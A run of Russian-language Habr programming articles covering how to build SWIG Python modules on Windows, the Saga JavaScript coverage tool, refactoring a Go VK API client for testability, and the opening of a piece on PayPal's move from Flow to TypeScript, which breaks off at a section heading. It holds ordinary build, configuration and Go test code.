Первым делом я полез в яндексогугл. Epic fail — все советы и воркарраунды устарели года на три. Следуя им, мне пришлось совершать абсолютно ненужные шаги по сборке питона из исходников. Лишних шагов в статье нет, хотя питон собирается без проблем. Но если будете собирать, то полезный совет: возьмите из «коробочной» поставки файл Include/pycohfig.h и тихо положите его в собранную версию — пригодится.
Хорошие новости. Для сборки модулей можно использовать [Microsoft Visual C++ Express Edition 2008](http://www.microsoft.com/visualstudio/en-us/products/2008-editions/express), поскольку Питон 2.6+ собирается им. До этого приходилось либо компилировать питон из исходников, либо откапывать покрытый мхом VC++ 7.0, а я то и 6.0. Ещё более хорошие новости — модули можно компилировать [MinGW](http://ru.wikipedia.org/wiki/MinGW). Кстати? тестовый модуль я откомпилировал gcc «включенным» в Strawberry Perl (довольно цинично если вспомнить древние питоно-перловые войны). Просто потому что это первый gcc в Path.
Итак, нам нужно взять пример из SWIG и превратить его в модуль. Для этого есть два способа.
Но, сперва, нужно установить собранный под Windows [SWIG](http://www.swig.org/download.html) (swigwin-2.0.4) и прописать его в PATH. Примеры использования поставляются с ним же.
#### Способ первый: Visual C++
Нам понадобиться установить переменные среды окружения.
```
PYTHON_INCLUDE = С:\Python\Include
PYTHON_LIB = C:\Python\Libs\python27.lib
```
Дальше можно схалтурить — взять один из готовых примеров, для которых уже созданы солюшен (.sln) и проект. И спокойно, на его базе, сделать свой модуль. Например, открыть `SWIG\Examples\python\class\exmple.sln`. Переименовать `examples.i`, `examples.cxx` и `examples_wrap.cxx`, соответственно, в `mymodule.i`, `mymodule.cxx` и `mymodule_wrap.cxx`.
Как показал только что поставленный опыт, всё прекрасно работает.
Для более въедливых товарищей ~~печенька~~ [инструкция на английском](http://www.swig.org/Doc1.3/Python.html#Python_nn12). Как всегда, малость устаревшая (или, возможно, слишком новая). Пользуясь ею дословно, мне не удалось добиться профита. Ниже инструкция на русском, сокращённая и проверенная:1. Создаём новый проект для создания Windows DLL
2. Создаём файлы `my_module.cxx` (или .c) для наших классов/функций, `my_module.i` для описания интерфейса. И прописываем (но не создаем) `my_module_wrap.cxx`. Первые два файла, я, естественно, подрезал из тех же примеров, но можно взять их например с [википедии](http://ru.wikipedia.org/wiki/SWIG))
3. Выбираем в среде `my_module.i`, в свойствах (*Custom build setup*) устанавливаем:
— *Command Line*: `swig.exe -c++ -python $(InputPath)`
— *Outputs*: `$(InputName)_wrap.cxx`
(Для C проектов, не нужно указывать ключ `-c++` в первом случае. И расширение `.cxx` (достаточно .c) во втором.)
В итоге, мы создадим файл `my_module_wrap.c(xx)` из интерфейсного файла `my_module.i`
4. Дальше нужно задать местожительство заголовков питона. В свойствах проекта выбираем *Configuration Properties » /C++* и устанавливаем *Additional include directories* в `$(PYTHON_INCLUDE)` (Зря его что-ли задавали?)
5. Дальше по плану свойства линкера (Linker):
— *Input » Aditional Dependies*: `"$(PYTHON_LIB)"`
— *General » Output File*: `$(ProjectDir)\_$(ProjectName).pyd`
В первом случае кавычки не помешают, а во втором обратите внимание на подчёркивание. Зачем оно — я расскажу ниже.
6. Можно собирать проект. Не забудьте переключиться в Release конфигурацию. Чтобы использовать Debug, придется собирать питон из исходников, а оно нам надо?
7. Профит
#### Способ второй: distutils
Что не может не радовать, питон 2.7 уже заточен под то, чтобы собирать модули используя [distutils](http://docs.python.org/release/3.2/library/distutils.html#module-distutils) (в предыдущих версиях требовалось [3 килограмма шаманства](http://www.sebsauvage.net/python/mingw.html) ). При этом, мы можем использовать как и вышеупомянутый (не к ночи) MVC 2008, так и свободный MinGW.
О маленьких граблях поджидающих нас на этом пути, я, поглаживая лоб, сейчас расскажу.
Опять же, бесчеловечные эксперименты будем ставить на примере из SWIG. Итак, в директории `SWIG/examples/classes` создаём файл `setup.py`
```
# -*- coding: utf-8 -*-
import distutils
from distutils.core import setup, Extension
setup(name = "Simple example from the SWIG website",
version = "0.007",
ext_modules = [Extension(
"_example", # грабель первый: не забываем подчеркивание
["example.i","example.cxx"],
swig_opts=['-threads', '-c++'], # грабель второй: опции swig тут
)]
);
```
##### Грабель первый.
Подчеркивание. Если его не указать получим ошибку `LINK : error LNK2001: unresolved external symbol initexample`.
Откуда она растёт?
Python, при создании модуля «руками» ожидает, что в скомпилированном модуле (бинарной части) будет функция с имением `init<имя_модуля>`. Сделано чтобы модуль, написанный на C/C++ мог вкурить её при загрузке бинарного модуля (и сообщить питону, что всё ок). Враппер (SWIG) функцию честно создаёт.
Но SWIG создаёт два(!) файла для нашего модуля: `<имя_модуля>.py` — питоновская обертка, содержащая нативные вызовы функций будущего модуля и `_<имя_модуля>.pyd` (обратите внимание на подчеркивание) — бинарная библиотека. Дело в том, что бинарную библиотеку можно загрузить «в питон» той же самой инструкцией `import`, что и нативную (подчёркивание «подразумевается»). Соответственно, имена нативной обертки и бинарной библиотеки должны различаться. Они и различаются — на подчеркивание.
SWIG ожидает от нас, что бинарная библиотека будет с подчеркиванием, поэтому создал функцию с именем init\_<имя\_модуля>, про которую линкер ничего не знает. Вот и ошибка.
##### Грабель второй
Мне потребовалось некоторое время лазания по исходникам, чтобы понять как передавать опции командной строки в вызов командной строки swig. По умолчанию `distutil` ожидает, что мы работаем с C. Поэтому потребовалось указать параметр `-c++` (параметр `-threads` добавлен «для понтов», но может кому окажется не бесполезным).
##### Сборка
Теперь, когда мы разобрались, собрать модуль можно двумя способами:
Собрать, использую MVC:
`python setup.py build`
Собрать, используя MinGW:
`python setup.py build -cmingw32`
Оба способа протестированы и работают. Даже странно.
Любые советы (как можно было сделать проще) приветствуются. Критика тоже (но желательно с указанием как именно надо было сделать). Надеюсь мне не придётся ещё раз переписывать статью более чем наполовину, что произошло после первого же комментария. После которого я копнул чуть глубже, чем было до того. | https://habr.com/ru/post/139790/ | null | ru | null |
# Saga: проверяем покрытие кода тестами
Если вы пишете на javascript и покрываете код юнит-тестами, то, вполне вероятно, вам будет интересно насколько хорошо он покрыт. А если в проекте используется Maven, то хочется получать эту информацию при каждой сборке.
Итак, [Saga](http://timurstrekalov.github.com/saga/) — анализатор покрытия кода со вкусностями:* работает с большинством тест-фреймворков
* консольная версия
* maven-плагин версия (на официальном централе)
* красивые и удобные отчёты
[](http://timurstrekalov.github.com/saga/)
#### Что нужно для начала
Предполагается, что у вас уже есть тесты и некие html-файлы для их запуска (TestRunner).
Если нету, советую посмотреть на фреймворк [Jasmine](http://pivotal.github.com/jasmine/).
#### Консольная версия
Свежую сборку со всеми зависимостями можно найти на [code.google.com](http://code.google.com/p/saga-javascript-coverage/downloads/list) или собрать из исходников на [github.com](https://github.com/timurstrekalov/saga). И запустить из папки проекта, например так:
```
java -jar saga-cli-1.0.5-jar-with-dependencies.jar -b tests/ -o coverage/ -i **/*Test*.html
```
Назначение этих и других ключей можно [посмотреть в документации](http://timurstrekalov.github.com/saga/#command-line-tool).
#### Maven-plugin
Чтобы подключить Saga, достаточно добавить следующий код в pom.xml:
```
com.github.timurstrekalov
saga-maven-plugin
1.0.5
verify
coverage
${testsBaseDir}
\*\*/\*Test\*.html
${project.build.directory}/coverage
```
Плагин будет скачан с центрального репозитория Maven.
Подробнее о конфигурационных опциях можно [почитать в документации](http://timurstrekalov.github.com/saga/#maven-plugin-usage).
#### Будущее проекта
Разработчик Тимур Стрекалов открыт для предложений и готов вносить улучшения. Уже несколько пользователей оставили отзывы, благодаря которым были исправлены несколько багов. Написать можно на [странице проекта на GitHub](https://github.com/timurstrekalov/saga/issues). | https://habr.com/ru/post/143172/ | null | ru | null |
# Тесты для кода и код для тестов
В динамических языках, вроде python и javascript, возможно прямо во время работы заменять методы и классы в модулях. Это очень удобно для тестов — можно просто ставить "заплатки", которые будут исключать тяжёлую или ненужную логику в контексте данного теста.
Но что делать в C++? Go? Java? В этих языках код не получится модифицировать для тестов на лету, а создание заплаток требует отдельных инструментов.
В таких случаях стоит специально писать код так, чтобы он тестировался. Это не просто маниакальное стремление увидеть в своём проекте 100% покрытие. Это шаг к написанию поддерживаемого и качественного кода.
В этой статье я попробую рассказать об основных идеях, стоящих за написанием тестируемого кода и показать, как их можно использовать на примере простой программы на языке go.
Бесхитростная программа
-----------------------
Напишем бесхитростную программу для совершения запроса к API ВКонтакте. Это достаточно простая программа, которая формирует запрос, совершает его, считывает ответ, декодирует ответ из JSON в структуру и выводит результат пользователю.
```
package main
import (
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"net/url"
)
const token = "token here"
func main() {
// Составляем адрес для запроса
var requestURL = fmt.Sprintf(
"https://api.vk.com/method/%s?&access_token=%s&v=5.95",
"users.get",
token,
)
// Совершаем запрос
resp, err := http.PostForm(requestURL, nil)
// Проверяем ошибки
if err != nil {
fmt.Println(err)
return
}
// Откладываем закрытие потока чтения тела ответа
defer resp.Body.Close()
// Считываем всё тело ответа
body, err := ioutil.ReadAll(resp.Body)
// Проверяем ошибки
if err != nil {
fmt.Println(err)
return
}
// Формируем структуру для декодирования ответа
var result struct {
Response []struct {
ID int `json:"id"`
FirstName string `json:"first_name"`
LastName string `json:"last_name"`
} `json:"response"`
}
// Декодируем ответ и записываем результат в структуру
err = json.Unmarshal(body, &result)
// Проверяем ошибки
if err != nil {
fmt.Println(err)
return
}
// Проверяем, что данные присутствуют
if len(result.Response) < 1 {
fmt.Println("No values in response array")
return
}
// Выводим результат пользователю
fmt.Printf(
"Your id: %d\nYour full name: %s %s\n",
result.Response[0].ID,
result.Response[0].FirstName,
result.Response[0].LastName,
)
}
```
Будучи профессионалами своего дела, мы решили, что необходимо написать тесты для нашего приложения. Создадим файл с тестами...
```
package main
import (
"testing"
)
func Test_Main(t *testing.T) {
main()
}
```
Выглядит не очень привлекательно. Эта проверка является простым запуском приложения, на который мы не можем повлиять. Мы не можем исключить работу с сетью, проверить работоспособность при различных ошибках и даже заменить токен для проверки не получится. Попробуем разобраться, как улучшить эту программу.
Паттерн "внедрение зависимости"
-------------------------------
Для начала необходимо реализовать [паттерн "внедрение зависимости"](https://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8).
```
type VKClient struct {
Token string
}
func (client VKClient) ShowUserInfo() {
var requestURL = fmt.Sprintf(
"https://api.vk.com/method/%s?&access_token=%s&v=5.95",
"users.get",
client.Token,
)
// ...
}
```
Добавив структуру, мы создали зависимость (ключ доступа) для приложения, которую можно передавать из разных источников, что позволяет избежать "вшитых" значений и упрощает тестирование.
```
package example
import (
"testing"
)
const workingToken = "workingToken"
func Test_ShowUserInfo_Successful(t *testing.T) {
client := VKClient{workingToken}
client.ShowUserInfo()
}
func Test_ShowUserInfo_EmptyToken(t *testing.T) {
client := VKClient{""}
client.ShowUserInfo()
}
```
Разделение получения информации и её вывода
-------------------------------------------
Сейчас ошибку может приметить только человек, и то, только если он знает, каким должен быть вывод. Чтобы решить этот вопрос, необходимо не выводить информацию сразу в поток вывода, а добавить отдельные методы для получения информации и её вывода. Две эти независимые части будет легче проверять и поддерживать.
Создадим метод `GetUserInfo()`, который будет возвращать структуру с информацией о пользователе и ошибку (если она произошла). Поскольку этот метод ничего не выводит, то происходящие ошибки будут передаваться дальше без вывода, чтобы код, которому нужны данные сам разобрался с ситуацией.
```
type UserInfo struct {
ID int `json:"id"`
FirstName string `json:"first_name"`
LastName string `json:"last_name"`
}
func (client VKClient) GetUserInfo() (UserInfo, error) {
var requestURL = fmt.Sprintf(
"https://api.vk.com/method/%s?&access_token=%s&v=5.95",
"users.get",
client.Token,
)
resp, err := http.PostForm(requestURL, nil)
if err != nil {
return UserInfo{}, err
}
// ...
var result struct {
Response []UserInfo `json:"response"`
}
// ...
return result.Response[0], nil
}
```
Изменим `ShowUserInfo()` так, чтобы он использовал `GetUserInfo()` и обрабатывал ошибки.
```
func (client VKClient) ShowUserInfo() {
userInfo, err := client.GetUserInfo()
if err != nil {
fmt.Println(err)
return
}
fmt.Printf(
"Your id: %d\nYour full name: %s %s\n",
userInfo.ID,
userInfo.FirstName,
userInfo.LastName,
)
}
```
Теперь в тестах можно проверять, что от сервера приходит корректный ответ, а при неверном токене возвращается ошибка.
```
func Test_GetUserInfo_Successful(t *testing.T) {
client := VKClient{workingToken}
userInfo, err := client.GetUserInfo()
if err != nil {
t.Fatal(err)
}
if userInfo.ID == 0 {
t.Fatal("ID is empty")
}
if userInfo.FirstName == "" {
t.Fatal("FirstName is empty")
}
if userInfo.LastName == "" {
t.Fatal("LastName is empty")
}
}
func Test_ShowUserInfo_EmptyToken(t *testing.T) {
client := VKClient{""}
_, err := client.GetUserInfo()
if err == nil {
t.Fatal("Expected error but found ")
}
if err.Error() != "No values in response array" {
t.Fatalf(`Expected "No values in response array", but found "%s"`, err)
}
}
```
Помимо обновления существующих тестов, надо добавить новые тесты для метода `ShowUserInfo()`.
```
func Test_ShowUserInfo(t *testing.T) {
client := VKClient{workingToken}
client.ShowUserInfo()
}
func Test_ShowUserInfo_WithError(t *testing.T) {
client := VKClient{""}
client.ShowUserInfo()
}
```
Настраиваемые альтернативы
--------------------------
Тесты для `ShowUserInfo()` напоминают то, от чего мы пытались уйти изначально. В этом случае единственный смысл метода — выводить информацию в стандартный поток вывода. С одной стороны, можно попробовать переопределять os.Stdout и проверять вывод, это выглядит как слишком избыточное решение, когда можно поступить более элегантно.
Вместо использования `fmt.Printf`, можно использовать `fmt.Fprintf`, который позволяет выполнять вывод в любой `io.Writer`. `os.Stdout` реализует этот интерфейс, что позволяет нам заменить `fmt.Printf(text)` на `fmt.Fprintf(os.Stdout, text)`. После этого мы можем вынести `os.Stdout` в отдельное поле, которое можно будет устанавливать в нужные значения (для тестов — строка, для работы — стандартный поток вывода).
Поскольку возможность менять Writer для вывода будет использоваться редко, в основном для тестов, есть смысл задать значение по умолчанию. В go для этого мы поступим так — сделаем тип `VKClient` неэкспортируемым и создадим для него функцию-конструктор.
```
type vkClient struct {
Token string
OutputWriter io.Writer
}
func CreateVKClient(token string) vkClient {
return vkClient{
token,
os.Stdout,
}
}
```
В функции `ShowUserInfo()` мы заменяем вызовы `Print` на `Fprintf`.
```
func (client vkClient) ShowUserInfo() {
userInfo, err := client.GetUserInfo()
if err != nil {
fmt.Fprintf(client.OutputWriter, err.Error())
return
}
fmt.Fprintf(
client.OutputWriter,
"Your id: %d\nYour full name: %s %s\n",
userInfo.ID,
userInfo.FirstName,
userInfo.LastName,
)
}
```
Теперь необходимо обновить тесты так, чтобы они создавали клиент с помощью конструктора и там, где надо, устанавливали другого Writer.
```
func Test_ShowUserInfo(t *testing.T) {
client := CreateVKClient(workingToken)
buffer := bytes.NewBufferString("")
client.OutputWriter = buffer
client.ShowUserInfo()
result, _ := ioutil.ReadAll(buffer)
matched, err := regexp.Match(
`Your id: \d+\nYour full name: [^\n]+\n`,
result,
)
if err != nil {
t.Fatal(err)
}
if !matched {
t.Fatalf(`Expected match but failed with "%s"`, result)
}
}
func Test_ShowUserInfo_WithError(t *testing.T) {
client := CreateVKClient("")
buffer := bytes.NewBufferString("")
client.OutputWriter = buffer
client.ShowUserInfo()
result, _ := ioutil.ReadAll(buffer)
if string(result) != "No values in response array" {
t.Fatal("Wrong error")
}
}
```
Для каждого теста, где мы что-то выводим, мы создаём буфер, который будет играть роль стандартного потока вывода. После выполнения функции происходит проверка, что результаты соответствуют нашим ожиданиям — с помощью регулярных выражений или простого сравнения.
Зачем я использую регулярные выражения? Чтобы тесты работали с любым корректным токеном, который я предоставлю программе, независимо от имени пользователя и его ID.
Паттерн "внедрение зависимости" — 2
-----------------------------------
На данный момент программа имеет покрытие в 86.4%. Почему не 100%? Мы не можем спровоцировать ошибки из `http.PostForm()`, `ioutil.ReadAll()` и `json.Unmarshal()`, а значит каждый "`return UserInfo, err`" у нас проверить не получится.
Для того, чтобы дать себе ещё больше контроля над ситуацией, необходимо создать интерфейс, под которых будет подходить `http.Client`, реализация которого будет находиться в vkClient, и использоваться для сетевых операций. Для нас в интерфейсе важно только наличие одного метода — `PostForm`.
```
type Networker interface {
PostForm(string, url.Values) (*http.Response, error)
}
type vkClient struct {
Token string
OutputWriter io.Writer
Networker Networker
}
func CreateVKClient(token string) vkClient {
return vkClient{
token,
os.Stdout,
&http.Client{},
}
}
```
Такой ход позволяет избавиться от необходимости совершать сетевые операции вообще. Теперь мы можем просто возвращать ожидаемые данные от ВКонтакте с помощью подставного `Networker`. Конечно, не стоит избавляться от тестов, которые будут проверять запросы к серверу, но нет необходимости совершать запросы в каждом тесте.
Создадим реализации для подставных `Networker` и `Reader`, чтобы мы могли протестировать ошибки в каждом случае — при запросе, при чтении тела и при десериализации. Если мы хотим ошибку при вызове PostForm, то мы просто возвращает её в этом методе. Если мы хотим ошибку
при считывании тела ответа — надо возвращать подставной `Reader`, который выбросит ошибку. И если нам надо, чтобы ошибка проявила себя во время десериализации, то возвращаем ответ с пустой строкой в теле. Если же мы не хотим никаких ошибок — мы просто возвращаем тело с указанным содержимым.
```
type fakeReader struct{}
func (fakeReader) Read(p []byte) (n int, err error) {
return 0, errors.New("Error on read")
}
type fakeNetworker struct {
ErrorOnPostForm bool
ErrorOnBodyRead bool
ErrorOnUnmarchal bool
RawBody string
}
func (fn *fakeNetworker) PostForm(string, url.Values) (*http.Response, error) {
if fn.ErrorOnPostForm {
return nil, fmt.Errorf("Error on PostForm")
}
if fn.ErrorOnBodyRead {
return &http.Response{Body: ioutil.NopCloser(fakeReader{})}, nil
}
if fn.ErrorOnUnmarchal {
fakeBody := ioutil.NopCloser(bytes.NewBufferString(""))
return &http.Response{Body: fakeBody}, nil
}
fakeBody := ioutil.NopCloser(bytes.NewBufferString(fn.RawBody))
return &http.Response{Body: fakeBody}, nil
}
```
Для каждой проблемной ситуации добавим по тесту. Они будут создавать подставные `Networker` с нужными настройками, в соответствии с которыми он будет выкидывать ошибку в определённый момент. После этого мы вызываем проверяемую функцию и убеждаемся, что ошибка произошла, и что мы ожидали именно эту ошибку.
```
func Test_GetUserInfo_ErrorOnPostForm(t *testing.T) {
client := CreateVKClient(workingToken)
client.Networker = &fakeNetworker{ErrorOnPostForm: true}
_, err := client.GetUserInfo()
if err == nil {
t.Fatal("Expected error but none found")
}
if err.Error() != "Error on PostForm" {
t.Fatalf(`Expected "Error on PostForm" but got "%s"`, err.Error())
}
}
func Test_GetUserInfo_ErrorOnBodyRead(t *testing.T) {
client := CreateVKClient(workingToken)
client.Networker = &fakeNetworker{ErrorOnBodyRead: true}
_, err := client.GetUserInfo()
if err == nil {
t.Fatal("Expected error but none found")
}
if err.Error() != "Error on read" {
t.Fatalf(`Expected "Error on read" but got "%s"`, err.Error())
}
}
func Test_GetUserInfo_ErrorOnUnmarchal(t *testing.T) {
client := CreateVKClient(workingToken)
client.Networker = &fakeNetworker{ErrorOnUnmarchal: true}
_, err := client.GetUserInfo()
if err == nil {
t.Fatal("Expected error but none found")
}
const expectedError = "unexpected end of JSON input"
if err.Error() != expectedError {
t.Fatalf(`Expected "%s" but got "%s"`, expectedError, err.Error())
}
}
```
С помощью поля `RawBody` можно избавиться от сетевых запросов (просто возвращать то, что мы ожидаем получить от ВКонтакте). Это может быть необходимо, чтобы избежать превышения лимитов запросов во время тестирования или для ускорения тестов.
Итоги
-----
После всех операций над проектом, мы получили пакет длинной в 91 строку (+170 строк тестов), который поддерживает вывод в любые `io.Writer`, позволяет использовать альтернативные способы работы с сетью (с помощью адаптера к нашему интерфейсу), в котором есть метод как для вывода данных, так и для их получения. Проект обладает 100% покрытием. Тесты полностью проверяют каждую строчку и реакцию приложения на каждую возможную ошибку.
Каждый шаг по дороге к 100% покрытию увеличивал модульность, поддерживаемость и надёжность приложения, поэтому нет ничего плохого в том, что тесты диктовали структуру пакета.
Тестируемость любого кода — это качество, которое не появляется из воздуха. Тестируемость появляется тогда, когда разработчик адекватно использует паттерны в подходящих ситуациях и пишет настраиваемый и модульный код. Основной задачей было показать процесс мышления при выполнении рефакторинга программы. Аналогичное мышление может распространяться на любые приложения и библиотеки, а также и на другие языки. | https://habr.com/ru/post/452702/ | null | ru | null |
# Почему в основе каждого нового веб-приложения в PayPal лежит TypeScript?
Недавно мы опубликовали [материал](https://habr.com/ru/company/ruvds/blog/437464/), в котором Эрик Эллиот критиковал TypeScript. Сегодня мы представляем вашему вниманию перевод статьи Кента Доддса. Тут он рассказывает о том, почему в PayPal перешли с Flow на TypeScript.
[](https://habr.com/ru/company/ruvds/blog/437986/)
Предыстория
-----------
Я работаю в PayPal и занимаюсь библиотекой `paypal-scripts`, которая представляет собой набор инструментов, напоминающий `react-scripts` из `create-react-app`, или `angular-cli`, или `ember-cli`. Об этом я [уже писал](https://blog.kentcdodds.com/automation-without-config-412ab5e47229). В основе этой библиотеки лежит идея объединения всех инструментов, используемых в приложениях PayPal и в опубликованных модулях. Цель создания `paypal-scripts` заключается в том, чтобы взять все зависимости разработки, `devDependencies`, из `package.json`, все конфигурационные файлы, и свести всё это к одной записи в разделе `devDependencies`. И, так как все конфигурации находятся в единственном пакете, при создании которого придерживаются вполне определённой точки зрения на то, «что такое хорошо», для того, чтобы поддерживать инструменты в актуальном состоянии, достаточно обновить лишь одну зависимость (собственно — `paypal-scripts`), обновления которой обычно не содержат в себе чего-то такого, что способно нарушить работу кода, полагающегося на неё. В результате достаточно поддерживать в актуальном состоянии лишь одну зависимость и спокойно заниматься разработкой приложений.
За последний год программисты в PayPal привыкли работать с `paypal-scripts`. Здесь для создания нового приложения достаточно щёлкнуть по нескольким кнопкам в веб-интерфейсе, в результате чего будет создан корпоративный GitHub-репозиторий, будут настроены средства развёртывания проекта, система непрерывной интеграции, и так далее. Автоматически создаваемый репозиторий основан на репозитории `sample-app`.
Буквально на прошлой неделе в него было включено моё добавление, рассчитанное на использование в нём `paypal-script`. Это означает, что в основе каждого нового приложения в PayPal будет лежать каркас, построенный на базе современных технологий и инструментов, об обновлении которых не нужно заботиться разработчику этого приложения. Кроме прочего, подобное приложение будет статически типизировано с использованием TypeScript и протестировано средствами Jest.
Честно говоря, это стало Magnum Opus моей карьеры. Я не думал, что когда-нибудь мне удастся достигнуть подобного уровня в PayPal. Этот проект оказывает огромнейшее влияние, и я благодарен PayPal за то, что мне предоставлена возможность работать над чем-то столь масштабным.
Так, в курс дел я вас ввёл, теперь поговорим о TypeScript.
В середине декабря я работал над тем, чтобы интегрировать `paypal-scripts` в `sample-app`. Ещё я работал (и продолжаю работать) над проектом `pp-react`, который представляет собой библиотеку компонентов (кнопок, окон, стилей), подходящих для повторного использования. Так как `paypal-scripts` поддерживает модули, которые могут быть опубликованы, я, для сборки `pp-react`, использовал `react-scripts`. Месяц тому назад библиотека `paypal-scripts` включала в себя поддержку [Flow](https://flow.org/). Такую поддержку было очень просто добавить в эту библиотеку благодаря Babel.
12 декабря, когда я работал над `pp-react` и новой версией `sample-app` в плане поддержки Flow, я почувствовал, что от Flow я уже очень устал (подробнее об этом я расскажу ниже) и принял неожиданное решение. Я написал [коллеге](https://twitter.com/xjamundx) письмо, спросив его о том, как он смотрит на то, что я попытаюсь сделать так, чтобы в `sample-app` использовался бы TypeScript. Он ответил: «Да, сделай». Тогда я устроил опрос на Slack-канале `#paypal-scripts`, по результатам которого оказалось, что мою идею поддерживают все его участники. Для меня всего этого было достаточно для того, чтобы приступить к работе. Примерно через неделю я полностью перевёл `paypal-scripts` с поддержки Flow на поддержку TypeScript. Большая часть этого времени ушла на то, чтобы научить все инструменты распознавать расширения файлов `.ts` и `.tsx`, и на то, чтобы позволить пакету `paypal-scripts` самому себя протестировать, что оказалось довольно-таки непростым делом. Потом я потратил несколько дней на работу над PR в репозиторий `sample-app`, которая была направлена на использование новой улучшенной библиотеки `paypal-scripts`, и на переход с `.js`-файлов на `.ts` и .`tsx`-файлы. Потом были праздники, а потом мой PR был одобрен. Как результат, теперь в каждом новом проекте в PayPal используется статическая TypeScript-типизация.
Конечно, после того, как некто создаёт новый проект, он может делать с ним всё, что ему захочется. Скажем, может удалить весь шаблонный код и писать его на Elm, или на чём угодно другом. Это совершенно нормально. Но авторы большинства проектов придерживаются тех технологий, которые были использованы при их создании благодаря так называемому «[эффекту умолчания](https://en.wikipedia.org/wiki/Default_effect)».
Почему я так долго шёл к TypeScript?
------------------------------------
Вопрос, вынесенный в заголовок этого раздела, часто задавали мне фанаты TypeScript. Дело в том, что я уже давно знаком с TypeScript, но отношения у меня с этим языком до некоторых пор не складывались. Так, я помню, как примерно в 2013 году коллега предложил мне перевести код объёмом примерно в 500 тысяч строк на TypeScript. Тогда я это предложение отверг, но не особенно жалею об этом, так как в те времена TS был достаточно молодым языком. А [однажды](https://javascriptair.com/episodes/2016-08-31/) я даже брал интервью у [Андерса Хейлсберга](https://twitter.com/ahejlsberg), создателя TypeScript.
Вот из-за чего я всё это время держался в стороне от TypeScript.
### ▍Причина №1. Боязнь разрушить сложившуюся рабочую среду, основанную на Babel и ESLint
Для меня, очень долго, главнейшим плюсом Flow перед TypeScript было то, что Flow лучше сочетался с инструментами, к которым я привык. В частности, я уже многие годы с удовольствием пользуюсь Babel и ESLint, мне нравится писать собственные плагины и для того, и для другого (вы тоже, кстати, можете этому [научиться](https://frontendmasters.com/courses/linting-asts/)). Мне нравилось то, что вокруг Babel и ESLint сложились огромные сообщества. В результате отказываться от них я категорически не хотел. Собственно говоря, продолжалось это вплоть до недавних событий, так как, если бы я собрался с головой уйти в TypeScript, мне пришлось бы оставить и то и другое. Конечно, в мире TypeScript есть такая штука как TSLint, но сообщество ESLint значительно больше.
Во Flow же мне особенно нравится то, что для того, чтобы включить его в свой рабочий процесс, нужно выполнить лишь несколько простых действий:
1. Надо подключить к Babel пресет с поддержкой соответствующего синтаксиса.
2. Нужно добавить в начало каждого файла, проверку типов в котором требуется организовать, конструкцию `// @flow` (существует [плагин](https://github.com/gajus/eslint-plugin-flowtype/tree/ae28b639670284956d32bdcacc4b9d53f7cd3c12#eslint-plugin-flowtype-rules-no-types-missing-file-annotation) для ESLint, который позволяет это проверить).
3. Добавить в проект скрипт, позволяющий запустить Flow для проверки типов в кодовой базе.
Мне очень нравится то, что проверка типов (с помощью Flow) и сборка проектов (средствами Babel, Webpack или Rollup) разделены. Мне не хотелось связывать свою жизнь с TypeScript, в частности, из-за того, что его компилятор, в любом случае, не понимал бы плагинов для Babel моей собственной разработки. А ещё — из-за того, что у меня был Flow — вполне сносный инструмент.
Теперь же всё продолжает работать как обычно. Благодаря Babel 7 (в частности, речь идёт о [@babel/preset-typescript](https://babeljs.io/docs/en/babel-preset-typescript)) можно сохранить привычные инструменты и, кроме того, получить в своё распоряжение большинство возможностей TypeScript. Главная проблема — это сделать так, чтобы инструменты принимали бы файлы с расширениями .`ts` и `.tsx`, но, к счастью, эта проблема решаема.
### ▍Причина №2. Контрибуторам придётся учить TypeScript для того, чтобы внести вклад в проект
Я говорю, в основном, об опенсорсе, но необходимость освоения TypeScript теми, кто хочет вносить вклад в проекты, относится и к тому, чем я занимаюсь на работе. При этом я всегда считал, что рабочие проекты должны быть типизированными, и достигалось это средствами Flow. Я старался не пользоваться Flow в моих опенсорсных проектах, потому что тем, кто решил бы к ним присоединиться, пришлось бы осваивать Flow. Я сам всегда об этом говорил, но, подсознательно, всегда приводил контраргумент, который заключается в том, что типизация — это, по своей сути, лишь ещё одна форма тестирования, а тем, кто хочет вносить вклад в опенсорс, всё равно, приходится разбираться с тестированием.
Честно говоря, отказ от использования некоей технологии в опенсорсе только из-за того, что потенциальный контрибутор может ей не владеть, кажется мне плохим оправданием отказа от этой технологии. И, по мере того, как всё больше и больше программистов осваивают TypeScript, я думаю, что, возможно, через некоторое время буду писать на TS и свои опенсорсные проекты.
### ▍Причина №3. Мощная система вывода типов Flow
Я читал [этот](https://jamie.build/adopting-flow-and-typescript.html) пост, и он мне очень понравился. В особенности его последняя строка, в соответствии с которой при использовании Flow типы добавляют для того, чтобы сделать сообщения об ошибках приятнее, а не для того, чтобы их выявлять.
Так оно и есть. В наши дни Flow имеет более мощную систему вывода типов, чем TypeScript, и это меня обнадёживало.
### ▍Причина №4. Flow, как и React, родом из Facebook
Я погрешу против истины, если скажу, что я не поддавался весьма распространённому заблуждению, заключающемуся в том, чтобы полагать, что если некая компания сделала что-то грандиозное, то всё остальное, что она делает, автоматически оказывается на столь же высоком уровне. Подобное совсем не гарантировано. Больше мне тут добавить нечего.
### ▍Причина №5. Фанатичные приверженцы TypeScript
Думаю, все знают, что если некто по-настоящему восхищён некоей технологией, то он, не замолкая, всем вокруг о ней рассказывает. Тут кто-нибудь пользуется [vim](https://twitter.com/iamdevloper/status/676695839524282368)? И приверженцы TypeScript — не исключение.
В сообществе TypeScript, кстати, полно замечательных людей. Добрых, готовых прийти на помощь, полных энтузиазма, дружелюбных. Но мне приходилось пересекаться и с такими любителями TS, которые назовут человека дураком только из-за того, что он не пользуется TypeScript, или не понимает его, или пользуется чем-то другим. Они демонстрируют отсутствие способности к пониманию собеседника, а их позиция отдаёт снобизмом. Это — не то сообщество, частью которого я хотел бы стать. Я имею в виду то, что воодушевление, вызываемое выбранной кем-то технологией — это замечательно, но если оно заходит настолько далеко, что фанат этой технологии начинает притеснять тех, кто выбрал что-то другое, это уже [весьма печально](https://twitter.com/kentcdodds/status/1081569132573646848).
У меня всё ещё остаются некоторые опасения по этому поводу. Но я надеюсь, что все вместе мы сделаем так, что сообщество TypeScript будет более позитивным.
Теперь, когда я рассказал о причинах, по которым не спешил переходить на TypeScript, расскажу о том, что меня не устраивает во Flow.
Проблемы Flow
-------------
